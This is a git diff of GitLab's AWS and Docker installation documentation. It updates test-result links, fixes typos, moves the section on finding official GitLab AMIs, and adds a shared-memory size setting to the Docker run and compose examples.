+Deploy Now links leverage the AWS Quick Start automation and only pre-populate the number of instances and instance types for the Quick Start based on the Bill of Materials below. You must provide appropriate input for all other parameters by following the guidance in the [Quick Start documentation's Deployment steps](https://aws-quickstart.github.io/quickstart-eks-gitlab/#_deployment_steps) section.
- **[Deploy Now: AWS Quick Start for 2 AZs](https://us-east-2.console.aws.amazon.com/cloudformation/home?region=us-east-2#/stacks/quickcreate?templateUrl=https://aws-quickstart.s3.us-east-1.amazonaws.com/quickstart-eks-gitlab/templates/gitlab-entry-new-vpc.template.yaml&stackName=Gitlab-EKS-3K-Users-2AZs&param_NumberOfAZs=2&param_NodeInstanceType=c5.2xlarge&param_NumberOfNodes=3&param_MaxNumberOfNodes=3&param_DBInstanceClass=db.r6g.xlarge&param_CacheNodes=2&param_CacheNodeType=cache.m6g.large&param_GitalyInstanceType=m5.large&param_NumberOfGitalyReplicas=3&param_PraefectInstanceType=c5.large&param_NumberOfPraefectReplicas=3)**
- **[Deploy Now: AWS Quick Start for 3 AZs](https://us-east-2.console.aws.amazon.com/cloudformation/home?region=us-east-2#/stacks/quickcreate?templateUrl=https://aws-quickstart.s3.us-east-1.amazonaws.com/quickstart-eks-gitlab/templates/gitlab-entry-new-vpc.template.yaml&stackName=Gitlab-EKS-3K-Users-3AZs&param_NumberOfAZs=3&param_NodeInstanceType=c5.2xlarge&param_NumberOfNodes=3&param_MaxNumberOfNodes=3&param_DBInstanceClass=db.r6g.xlarge&param_CacheNodes=3&param_CacheNodeType=cache.m6g.large&param_GitalyInstanceType=m5.large&param_NumberOfGitalyReplicas=3&param_PraefectInstanceType=c5.large&param_NumberOfPraefectReplicas=3)**
@@ -203,7 +205,7 @@ On Demand pricing is used in this table for comparisons, but should not be used
| Supporting services such as NGINX, Prometheus, etc | [2 allocations](../../administration/reference_architectures/3k_users.md#cluster-topology) x ([2 vCPU and 7.5 GB](../../administration/reference_architectures/3k_users.md#cluster-topology)) = <br />4 vCPU, 15 GB | | |
| **GitLab Ref Arch Raw Total K8s Node Capacity** | 32 vCPU, 56 GB | | |
| One Node for Overhead and Miscellaneous (EKS Cluster AutoScaler, Grafana, Prometheus, etc) | + 16 vCPU, 32GB | | |
-| **Grand Total w/ Overheads Full Scale**<br />Minimum hosts = 3 | 48 vCPU, 88 GB | **c5.2xlarge** (8vcpu/16GB) x 5 nodes<br />40 vCPU, 80 GB<br />[Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt) | $1.70/hr |
+| **Grand Total w/ Overheads Full Scale**<br />Minimum hosts = 3 | 48 vCPU, 88 GB | **c5.2xlarge** (8vcpu/16GB) x 5 nodes<br />40 vCPU, 80 GB<br />[Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt) | $1.70/hr |
| **Possible Idle Configuration (Scaled-In 75% - round up)**<br />Pod autoscaling must be also adjusted to enable lower idling configuration. | 24 vCPU, 48 GB | c5.2xlarge x 4 | $1.36/hr |
Other combinations of node type and quantity can be used to meet the Grand Total. Due to the properties of pods, hosts that are overly small may have significant unused capacity.
@@ -228,9 +230,9 @@ If EKS node autoscaling is employed, it is likely that your average loading will
**GPT Test Results**
-- [5K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt)
+- [5K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt)
-- [5K AutoScale from 25% GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717_results.txt)
+- [5K AutoScale from 25% GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717_results.txt)
Elastic Auto Scale GPT Test Results start with an idle scaled cluster and then start the standard GPT test to determine if the EKS Auto Scaler performs well enough to keep up with performance test demands. In general this is substantially harder ramping than the scaling required when the ramping is driven my normal production workloads.
@@ -257,7 +259,7 @@ On Demand pricing is used in this table for comparisons, but should not be used
| Supporting services such as NGINX, Prometheus, etc | [2 allocations](../../administration/reference_architectures/5k_users.md#cluster-topology) x ([2 vCPU and 7.5 GB](../../administration/reference_architectures/5k_users.md#cluster-topology)) = <br />4 vCPU, 15 GB | | |
| **GitLab Ref Arch Raw Total K8s Node Capacity** | 62 vCPU, 96.5 GB | | |
| One Node for Quick Start Overhead and Miscellaneous (EKS Cluster AutoScaler, Grafana, Prometheus, etc) | + 8 vCPU, 16GB | | |
-| **Grand Total w/ Overheads Full Scale**<br />Minimum hosts = 3 | 70 vCPU, 112.5 GB | **c5.2xlarge** (8vcpu/16GB) x 9 nodes<br />72 vCPU, 144 GB<br />[Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt) | $2.38/hr |
+| **Grand Total w/ Overheads Full Scale**<br />Minimum hosts = 3 | 70 vCPU, 112.5 GB | **c5.2xlarge** (8vcpu/16GB) x 9 nodes<br />72 vCPU, 144 GB<br />[Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt) | $2.38/hr |
| **Possible Idle Configuration (Scaled-In 75% - round up)**<br />Pod autoscaling must be also adjusted to enable lower idling configuration. | 24 vCPU, 48 GB | c5.2xlarge x 7 | $1.85/hr |
Other combinations of node type and quantity can be used to meet the Grand Total. Due to the cpu and memory requirements of pods, hosts that are overly small may have significant unused capacity.
@@ -282,9 +284,9 @@ If EKS node autoscaling is employed, it is likely that your average loading will
**GPT Test Results**
-- [10K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt)
+- [10K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt)
-- [10K Elastic Auto Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt)
+- [10K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt)
Elastic Auto Scale GPT Test Results start with an idle scaled cluster and then start the standard GPT test to determine if the EKS Auto Scaler performs well enough to keep up with performance test demands. In general this is substantially harder ramping than the scaling required when the ramping is driven my normal production workloads.
@@ -310,8 +312,8 @@ On Demand pricing is used in this table for comparisons, but should not be used
| Supporting services such as NGINX, Prometheus, etc | [2 allocations](../../administration/reference_architectures/10k_users.md#cluster-topology) x ([2 vCPU and 7.5 GB](../../administration/reference_architectures/10k_users.md#cluster-topology))<br />4 vCPU, 15 GB | | |
| **GitLab Ref Arch Raw Total K8s Node Capacity** | 128 vCPU, 158 GB | | |
| One Node for Overhead and Miscellaneous (EKS Cluster AutoScaler, Grafana, Prometheus, etc) | + 16 vCPU, 32GB | | |
-| **Grand Total w/ Overheads Fully Scaled**<br />Minimum hosts = 3 | 142 vCPU, 190 GB | **c5.4xlarge** (16vcpu/32GB) x 9 nodes<br />144 vCPU, 288GB<br /><br />[Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt) | $6.12/hr |
-| **Possible Idle Configuration (Scaled-In 75% - round up)**<br />Pod autoscaling must be also adjusted to enable lower idling configuration. | 40 vCPU, 80 GB | c5.4xlarge x 7<br /><br />[Elastic Auto Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt) | $4.76/hr |
+| **Grand Total w/ Overheads Fully Scaled**<br />Minimum hosts = 3 | 142 vCPU, 190 GB | **c5.4xlarge** (16vcpu/32GB) x 9 nodes<br />144 vCPU, 288GB<br /><br />[Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt) | $6.12/hr |
+| **Possible Idle Configuration (Scaled-In 75% - round up)**<br />Pod autoscaling must be also adjusted to enable lower idling configuration. | 40 vCPU, 80 GB | c5.4xlarge x 7<br /><br />[Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt) | $4.76/hr |
Other combinations of node type and quantity can be used to meet the Grand Total. Due to the cpu and memory requirements of pods, hosts that are overly small may have significant unused capacity.
@@ -335,9 +337,9 @@ If EKS node autoscaling is employed, it is likely that your average loading will
**GPT Test Results**
-- [50K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt)
+- [50K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt)
-- [50K Elastic Auto Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt)
+- [50K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt)
Elastic Auto Scale GPT Test Results start with an idle scaled cluster and then start the standard GPT test to determine if the EKS Auto Scaler performs well enough to keep up with performance test demands. In general this is substantially harder ramping than the scaling required when the ramping is driven my normal production workloads.
@@ -363,8 +365,8 @@ On Demand pricing is used in this table for comparisons, but should not be used
| Supporting services such as NGINX, Prometheus, etc | [2 allocations](../../administration/reference_architectures/10k_users.md#cluster-topology) x ([2 vCPU and 7.5 GB](../../administration/reference_architectures/10k_users.md#cluster-topology))<br />4 vCPU, 15 GB | | |
| **GitLab Ref Arch Raw Total K8s Node Capacity** | 428 vCPU, 533 GB | | |
| One Node for Overhead and Miscellaneous (EKS Cluster AutoScaler, Grafana, Prometheus, etc) | + 16 vCPU, 32GB | | |
-| **Grand Total w/ Overheads Fully Scaled**<br />Minimum hosts = 3 | 444 vCPU, 565 GB | **c5.4xlarge** (16vcpu/32GB) x 28 nodes<br />448 vCPU, 896GB<br /><br />[Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt) | $19.04/hr |
-| **Possible Idle Configuration (Scaled-In 75% - round up)**<br />Pod autoscaling must be also adjusted to enable lower idling configuration. | 40 vCPU, 80 GB | c5.2xlarge x 10<br /><br />[Elastic Auto Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt) | $6.80/hr |
+| **Grand Total w/ Overheads Fully Scaled**<br />Minimum hosts = 3 | 444 vCPU, 565 GB | **c5.4xlarge** (16vcpu/32GB) x 28 nodes<br />448 vCPU, 896GB<br /><br />[Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt) | $19.04/hr |
+| **Possible Idle Configuration (Scaled-In 75% - round up)**<br />Pod autoscaling must be also adjusted to enable lower idling configuration. | 40 vCPU, 80 GB | c5.2xlarge x 10<br /><br />[Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt) | $6.80/hr |
Other combinations of node type and quantity can be used to meet the Grand Total. Due to the cpu and memory requirements of pods, hosts that are overly small may have significant unused capacity.
diff --git a/doc/install/aws/gitlab_sre_for_aws.md b/doc/install/aws/gitlab_sre_for_aws.md
index faec73801ab..2114ed51128 100644
--- a/doc/install/aws/gitlab_sre_for_aws.md
+++ b/doc/install/aws/gitlab_sre_for_aws.md
@@ -10,7 +10,7 @@ description: Doing SRE for GitLab instances and runners on AWS.
## Gitaly SRE considerations
-Gitaly is an embedded service for Git Repository Storage. Gitaly and Gitaly Cluster have been engineered by GitLab to overcome fundamental challenges with horizontal scaling of the open source Git binaries that must be used on the service side of GitLab. Here is indepth technical reading on the topic:
+Gitaly is an embedded service for Git Repository Storage. Gitaly and Gitaly Cluster have been engineered by GitLab to overcome fundamental challenges with horizontal scaling of the open source Git binaries that must be used on the service side of GitLab. Here is in-depth technical reading on the topic:
### Why Gitaly was built
@@ -66,14 +66,14 @@ All recommendations are for production configurations, including performance tes
#### Network I/O recommendations
-- Use only instance types [from the list of ones that support ENA advanced networking]( https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#instance-type-summary-table) to ensure that cluster replication latency is not due to instance level network I/O bottlenecking.
+- Use only instance types [from the list of ones that support ENA advanced networking]( https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#instance-type-summary-table) to ensure that cluster replication latency is not due to instance level network I/O bottlenecks.
- Choose instances with sizes with more than 10 Gbps - but only if needed and only when having proven a node level network bottleneck with monitoring and/or stress testing.
**To accommodate:**
- Gitaly nodes do the main work of streaming repositories for push and pull operations (to add development endpoints, and to CI/CD).
- Gitaly servers need reasonable low latency between cluster nodes and with Praefect services in order for the cluster to maintain operational and data integrity.
-- Gitaly nodes should be selected with network bottlenecking avoidance as a primary consideration.
+- Gitaly nodes should be selected with network bottleneck avoidance as a primary consideration.
- Gitaly nodes should be monitored for network saturation.
- Not all networking issues can be solved through optimizing the node level networking:
- Gitaly cluster node replication depends on all networking between nodes.
diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md
index 563673c3260..bec1f3e1142 100644
--- a/doc/install/aws/index.md
+++ b/doc/install/aws/index.md
@@ -37,12 +37,48 @@ The following are the currently available implementation patterns for GitLab whe
The following repository is self-contained in regard to enabling this pattern: [GitLab HA Scaling Runner Vending Machine for AWS EC2 ASG](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/). The [feature list for this implementation pattern](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/FEATURES.md) is good to review to understand the complete value it can deliver.
+### Patterns for Using GitLab with AWS
+
+[The Guided Explorations' subgroup for AWS](https://gitlab.com/guided-explorations/aws) contains a variety of working example projects for:
+
+- Using GitLab and AWS together.
+- Running GitLab infrastructure on AWS.
+
## AWS known issues list
Known issues are gathered from within GitLab and from customer reported issues. Customers successfully implement GitLab with a variety of "as a Service" components that GitLab has not specifically been designed for, nor has ongoing testing for. While GitLab does take partner technologies very seriously, the highlighting of known issues here is a convenience for implementers and it does not imply that GitLab has targeted compatibility with, nor carries any type of guarantee of running on the partner technology where the issues occur. Please consult individual issues to understand GitLabs stance and plans on any given known issue.
See the [GitLab AWS known issues list](https://gitlab.com/gitlab-com/alliances/aws/public-tracker/-/issues?label_name%5B%5D=AWS+Known+Issue) for a complete list.
+## Official GitLab releases as AMIs
+
+GitLab produces AMI images during the regular release process. The AMIs can be used for single instance GitLab installation or, by configuring `/etc/gitlab/gitlab.rb`, can be specialized for specific GitLab service roles (for example a Gitaly server). Older releases remain available and can be used to migrate an older GitLab server to AWS.
+
+Currently the Amazon AMI uses the Amazon prepared Ubuntu AMI (x86 and ARM are available) as its starting point.
+
+NOTE:
+When deploying a GitLab instance using the official AMI, the root password to the instance will be the EC2 **Instance** ID (NOT the AMI ID). This way of setting the root account password is specific to official GitLab published AMIs ONLY.
+
+Instances running on Community Edition (CE) require a migration to Enterprise Edition (EE) in order to subscribe to the GitLab Premium or Ultimate plan. If you want to pursue a subscription, using the Free-forever plan of Enterprise Edition is the least disruptive method.
+
+NOTE:
+Since any given GitLab upgrade might involve data disk updates or database schema upgrades, simply swapping out the AMI is not sufficent for taking upgrades.
+
+1. Log in to the AWS Web Console, so that clicking the links in the following step take you directly to the AMI list.
+1. Pick the edition you want:
+
+ - [GitLab Enterprise Edition](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;ownerAlias=782774275127;search=GitLab%20EE;sort=desc:name): If you want to unlock the enterprise features, a license is needed.
+ - [GitLab Community Edition](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;ownerAlias=782774275127;search=GitLab%20CE;sort=desc:name): The open source version of GitLab.
+ - [GitLab Premium or Ultimate Marketplace (Prelicensed)](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;source=Marketplace;search=GitLab%20EE;sort=desc:name): 5 user license built into per-minute billing.
+
+1. AMI IDs are unique per region, so once you've loaded one of the above, select the desired target region in the upper right of the console to see the appropriate AMIs.
+1. After the console is loaded, you can add additional search criteria to narrow further. For instance, type `13.` to find only 13.x versions.
+1. To launch an EC2 Machine with one of the listed AMIs, check the box at the start of the relevant row, and select the "Launch" button near the top of left of the page.
+
+NOTE:
+If you are trying to restore from an older version of GitLab while moving to AWS, find the
+[Enterprise and Community Editions before GitLab 11.10.3](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;ownerAlias=855262394183;sort=desc:name).
+
## Additional details on implementation patterns
GitLab implementation patterns build upon [GitLab Reference Architectures](../../administration/reference_architectures/index.md) in the following ways.
diff --git a/doc/install/aws/manual_install_aws.md b/doc/install/aws/manual_install_aws.md
index 6fff4225346..6dacd8df3e4 100644
--- a/doc/install/aws/manual_install_aws.md
+++ b/doc/install/aws/manual_install_aws.md
@@ -28,7 +28,7 @@ The Infrastructure as Code tooling [GitLab Environment Tool (GET)](https://gitla
### Getting started for production-grade Cloud Native Hybrid GitLab
-For the Cloud Native Hybrid architectures there are two Infrastructure as Code options which are compared in GitLab Cloud Native Hybrid on AWS EKS implementation pattern in the section [Available Infrastructure as Code for GitLab Cloud Native Hybrid](gitlab_hybrid_on_aws.md#available-infrastructure-as-code-for-gitlab-cloud-native-hybrid). It compares the [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/tree/master) to the AWS Quick Start for GitLab Cloud Native Hybrid on EKS which was codeveloped by GitLab and AWS. GET and the AWS Quick Start are both open source so anyone can build on top of them and contribute improvements to them.
+For the Cloud Native Hybrid architectures there are two Infrastructure as Code options which are compared in GitLab Cloud Native Hybrid on AWS EKS implementation pattern in the section [Available Infrastructure as Code for GitLab Cloud Native Hybrid](gitlab_hybrid_on_aws.md#available-infrastructure-as-code-for-gitlab-cloud-native-hybrid). It compares the [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/tree/master) to the AWS Quick Start for GitLab Cloud Native Hybrid on EKS which was co-developed by GitLab and AWS. GET and the AWS Quick Start are both open source so anyone can build on top of them and contribute improvements to them.
## Introduction
@@ -391,7 +391,7 @@ persistence and is used to store session data, temporary cache information, and
chance to deploy Redis in multiple availability zones.
1. In the settings section:
1. Give the cluster a name (`gitlab-redis`) and a description.
- 1. For the version, select the latest of `5.0` series (e.g., `5.0.6`).
+ 1. For the version, select the latest of the `5.0` series (for example, `5.0.6`).
1. Leave the port as `6379` since this is what we used in our Redis security group above.
1. Select the node type (at least `cache.t3.medium`, but adjust to your needs) and the number of replicas.
1. In the advanced settings section:
@@ -533,7 +533,7 @@ gitlab=# \q
```ruby
# Disable the built-in Postgres
postgresql['enable'] = false
-
+
# Fill in the connection details
gitlab_rails['db_adapter'] = "postgresql"
gitlab_rails['db_encoding'] = "unicode"
@@ -549,7 +549,7 @@ gitlab=# \q
```ruby
# Disable the built-in Redis
redis['enable'] = false
-
+
# Fill in the connection details
gitlab_rails['redis_host'] = "<redis-endpoint>"
gitlab_rails['redis_port'] = 6379
@@ -658,12 +658,6 @@ Since we are using the [AWS IAM profile](#create-an-iam-role) we created earlier
Remember to run `sudo gitlab-ctl reconfigure` after saving the changes to the `gitlab.rb` file.
-NOTE:
-One current feature of GitLab that still requires a shared directory (NFS) is
-[GitLab Pages](../../user/project/pages/index.md).
-There is [work in progress](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196)
-to eliminate the need for NFS to support GitLab Pages.
-
---
That concludes the configuration changes for our GitLab instance. Next, we'll create a custom AMI based on this instance to use for our launch configuration and auto scaling group.
@@ -812,21 +806,7 @@ After a few minutes, the new version should be up and running.
## Find official GitLab-created AMI IDs on AWS
-To find the AMIs generated by GitLab:
-
-1. Login to AWS Web Console, so that clicking the links below will take you directly to the AMI list.
-1. Pick the edition you want:
-
- - [GitLab Enterprise Edition](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;ownerAlias=782774275127;search=GitLab%20EE;sort=desc:name): If you want to unlock the enterprise features, a license is needed. Recommended for this guide.
- - [GitLab Community Edition](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;ownerAlias=782774275127;search=GitLab%20CE;sort=desc:name): The open source version of GitLab.
- - [GitLab Premium or Ultimate Marketplace (Prelicensed)](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;source=Marketplace;search=GitLab%20EE;sort=desc:name): 5 user license built into per-minute billing.
-1. AMI IDs are unique per region, so once you've loaded one of the above, select the desired target region in the upper right of the console to see the appropriate AMIs.
-1. Once the console is loaded, you can add additional search criteria to narrow further. For instance, `13.` to find only 13.x versions.
-1. To launch an EC2 Machine with one of the listed AMIs, check the box at the start of the relevant row, and select the "Launch" button near the top of left of the page.
-
-NOTE:
-If you are trying to restore from an older version of GitLab while moving to AWS, find the
-[Enterprise and Community Editions Before 11.10.3](https://console.aws.amazon.com/ec2/v2/home?region=us-east-1#Images:visibility=public-images;ownerAlias=855262394183;sort=desc:name).
+Read more on how to use [GitLab releases as AMIs](index.md#official-gitlab-releases-as-amis).
## Conclusion
@@ -856,7 +836,7 @@ to request additional material:
### Instances are failing health checks
-If your instances are failing the load balancer's health checks, verify that they are returning a status `200` from the health check endpoint we configured earlier. Any other status, including redirects (e.g. status `302`) will cause the health check to fail.
+If your instances are failing the load balancer's health checks, verify that they are returning a status `200` from the health check endpoint we configured earlier. Any other status, including redirects like status `302`, will cause the health check to fail.
You may have to set a password on the `root` user to prevent automatic redirects on the sign-in endpoint before health checks will pass.
diff --git a/doc/install/digitaloceandocker.md b/doc/install/digitaloceandocker.md
index 845fc3f04e8..c0b9b280d92 100644
--- a/doc/install/digitaloceandocker.md
+++ b/doc/install/digitaloceandocker.md
@@ -1,8 +1,7 @@
---
-stage: none
-group: unassigned
+stage: Enablement
+group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: howto
---
# Digital Ocean and Docker Machine test environment **(FREE SELF)**
diff --git a/doc/install/docker.md b/doc/install/docker.md
index 00e19e2977b..2efe6a3640b 100644
--- a/doc/install/docker.md
+++ b/doc/install/docker.md
@@ -81,6 +81,7 @@ sudo docker run --detach \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
+ --shm-size 256m \
gitlab/gitlab-ee:latest
```
@@ -99,6 +100,7 @@ sudo docker run --detach \
--volume $GITLAB_HOME/config:/etc/gitlab:Z \
--volume $GITLAB_HOME/logs:/var/log/gitlab:Z \
--volume $GITLAB_HOME/data:/var/opt/gitlab:Z \
+ --shm-size 256m \
gitlab/gitlab-ee:latest
```
@@ -155,6 +157,7 @@ install, and upgrade your Docker-based GitLab installation:
- '$GITLAB_HOME/config:/etc/gitlab'
- '$GITLAB_HOME/logs:/var/log/gitlab'
- '$GITLAB_HOME/data:/var/opt/gitlab'
+ shm_size: '256m'
```
1. Make sure you are in the same directory as `docker-compose.yml` and start
@@ -188,6 +191,7 @@ web:
- '$GITLAB_HOME/config:/etc/gitlab'
- '$GITLAB_HOME/logs:/var/log/gitlab'
- '$GITLAB_HOME/data:/var/opt/gitlab'
+ shm_size: '256m'
```
This is the same as using `--publish 8929:8929 --publish 2224:22`.
@@ -199,11 +203,11 @@ configure and deploy your
Docker-based GitLab installation in a swarm cluster.
In swarm mode you can leverage [Docker secrets](https://docs.docker.com/engine/swarm/secrets/)
-and [Docker configs](https://docs.docker.com/engine/swarm/configs/) to efficiently and securely deploy your GitLab instance.
+and [Docker configurations](https://docs.docker.com/engine/swarm/configs/) to efficiently and securely deploy your GitLab instance.
Secrets can be used to securely pass your initial root password without exposing it as an environment variable.
-Configs can help you to keep your GitLab image as generic as possible.
+Configurations can help you to keep your GitLab image as generic as possible.
-Here's an example that deploys GitLab with four runners as a [stack](https://docs.docker.com/get-started/part5/), using secrets and configs:
+Here's an example that deploys GitLab with four runners as a [stack](https://docs.docker.com/get-started/part5/), using secrets and configurations:
1. [Set up a Docker swarm](https://docs.docker.com/engine/swarm/swarm-tutorial/).
1. Create a `docker-compose.yml` file:
@@ -221,6 +225,7 @@ Here's an example that deploys GitLab with four runners as a [stack](https://doc
